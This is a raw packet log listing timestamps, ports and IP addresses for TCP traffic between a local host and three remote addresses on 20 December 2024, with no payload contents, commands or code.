Dec 20, 2024 09:12:43.979693890 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.979702950 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.979744911 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.980412006 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.980475903 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.980521917 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.980524063 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.980568886 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.981213093 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.981267929 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.981302977 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.981318951 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.981348991 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.981983900 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.982036114 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.982038975 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.982074022 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.982088089 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.982120991 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.982848883 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.982884884 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.982896090 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.982919931 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.982966900 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.983623981 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.983676910 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.983871937 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.983926058 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.983952999 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.983990908 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.984004974 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.984041929 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.984672070 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.984723091 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.984740973 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.984776020 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.984787941 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.984823942 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.985486984 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.985533953 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.985541105 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.985574961 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.985583067 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.985622883 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.986270905 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.986380100 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.986414909 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.986428022 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.986462116 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.987131119 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.987164974 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.987211943 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.987219095 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.987261057 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.987889051 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.987943888 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.987957001 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.987992048 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.988008022 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.988039017 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.988769054 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.988817930 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.988841057 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.988876104 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.988920927 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.989478111 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.989526033 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.989531994 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.989567041 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.989581108 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.989625931 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.990259886 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.990315914 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.990324020 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.990360022 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.990367889 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.990407944 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.991050005 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.991153955 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.991189003 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.991199017 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.991234064 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.991918087 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.991954088 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.991978884 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.991990089 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.992001057 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.992032051 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.008274078 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.008301973 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.008316994 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.008352041 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.008383989 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.008654118 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.008727074 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.008764029 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.008773088 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.008888960 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.008945942 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.009455919 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.009506941 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.158402920 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.158459902 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.158497095 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.158520937 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.158557892 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.158746958 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.158801079 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.158802986 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.158835888 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.158845901 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.158881903 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.159533024 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.159590006 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.159606934 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.159641981 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.159652948 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.159687042 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.160355091 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.160407066 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.160409927 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.160440922 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.160454988 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.160489082 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.161133051 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.161179066 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.161199093 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.161233902 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.161251068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.161295891 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.161945105 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.161995888 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.162031889 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.162045002 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.162079096 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.162744999 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.162792921 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.162798882 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.162834883 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.162852049 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.162879944 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.163573027 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.163625002 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.163625956 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.163661003 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.163669109 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.163713932 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.164339066 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.164391994 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.164396048 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.164426088 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.164438963 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.164469957 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.165152073 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.165205956 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.165215015 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.165244102 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.165275097 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.165298939 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.165935993 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.165991068 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.166027069 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.166038036 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.166074991 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.166734934 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.166799068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.166799068 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.166834116 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.166843891 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.166877985 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.167541981 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.167592049 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.167593956 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.167629004 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.167640924 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.167670012 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.168328047 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.168394089 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.168400049 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.168435097 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.168446064 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.168484926 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.169159889 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.169213057 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.169219971 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.169248104 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.169255972 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.169291973 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.170049906 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.170084000 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.170110941 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.170120001 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.170135021 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.170315981 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.170725107 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.170773029 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.170778990 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.170814991 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.170826912 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.170867920 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.171530008 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.171582937 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.171617985 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:44.171639919 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:44.171674013 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:45.565712929 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:45.565948963 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:45.566001892 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:45.594625950 CET	49856	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:45.594638109 CET	443	49856	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:45.727485895 CET	49867	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:45.727581978 CET	443	49867	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:45.727670908 CET	49867	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:45.728142023 CET	49867	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:45.728173018 CET	443	49867	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:46.387166023 CET	49849	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:46.387459993 CET	49868	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:46.507029057 CET	80	49868	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:46.507128000 CET	49868	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:46.507147074 CET	80	49849	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:46.507217884 CET	49849	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:46.508344889 CET	49868	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:46.628213882 CET	80	49868	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:46.946475983 CET	443	49867	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:46.946558952 CET	49867	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:46.959599018 CET	49867	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:46.959639072 CET	443	49867	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:46.960542917 CET	443	49867	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:46.961604118 CET	49867	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:46.961644888 CET	49867	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:46.961770058 CET	443	49867	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:47.859997988 CET	80	49868	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:47.860069036 CET	49868	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:47.862644911 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:47.862988949 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:47.982587099 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:47.982630014 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:47.982652903 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:47.982721090 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:47.983113050 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:47.983980894 CET	443	49867	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:47.984220028 CET	443	49867	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:47.985027075 CET	49867	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:47.985461950 CET	49867	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:47.985491991 CET	443	49867	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:47.985523939 CET	49867	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:47.985538960 CET	443	49867	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:48.102711916 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.306000948 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.306121111 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.306154013 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.306211948 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.306216002 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.306243896 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.306279898 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.306291103 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.306292057 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.306318998 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.306344986 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.306356907 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.306370974 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.306391954 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.306401968 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.306443930 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.306447983 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.306500912 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.426155090 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.426306009 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.426403046 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.430363894 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.430469990 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.430542946 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.498296022 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.498389959 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.498450994 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.502517939 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.502616882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.502672911 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.510886908 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.511054039 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.511112928 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.519223928 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.519340992 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.519407988 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.527626038 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.527729034 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.527791023 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.535989046 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.536043882 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.536050081 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.536097050 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.544399023 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.544482946 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.544553041 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.552856922 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.552975893 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.553037882 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.561229944 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.561266899 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.561325073 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.561325073 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.569593906 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.569720984 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.569780111 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.576775074 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.576853991 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.576944113 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.576996088 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.584059000 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.584132910 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.584183931 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.690541983 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.690606117 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.690618038 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.690675974 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.692770004 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.692835093 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.692898035 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.692950010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.697552919 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.697617054 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.697846889 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.697909117 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.702233076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.702291965 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.702341080 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.702389002 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.706970930 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.707062006 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.707076073 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.707156897 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.711594105 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.711760044 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.711822987 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.716232061 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.716286898 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.716361046 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.716433048 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:49.720753908 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:49.720841885 CET	80	49874	31.41.244.11	192.168.2.4
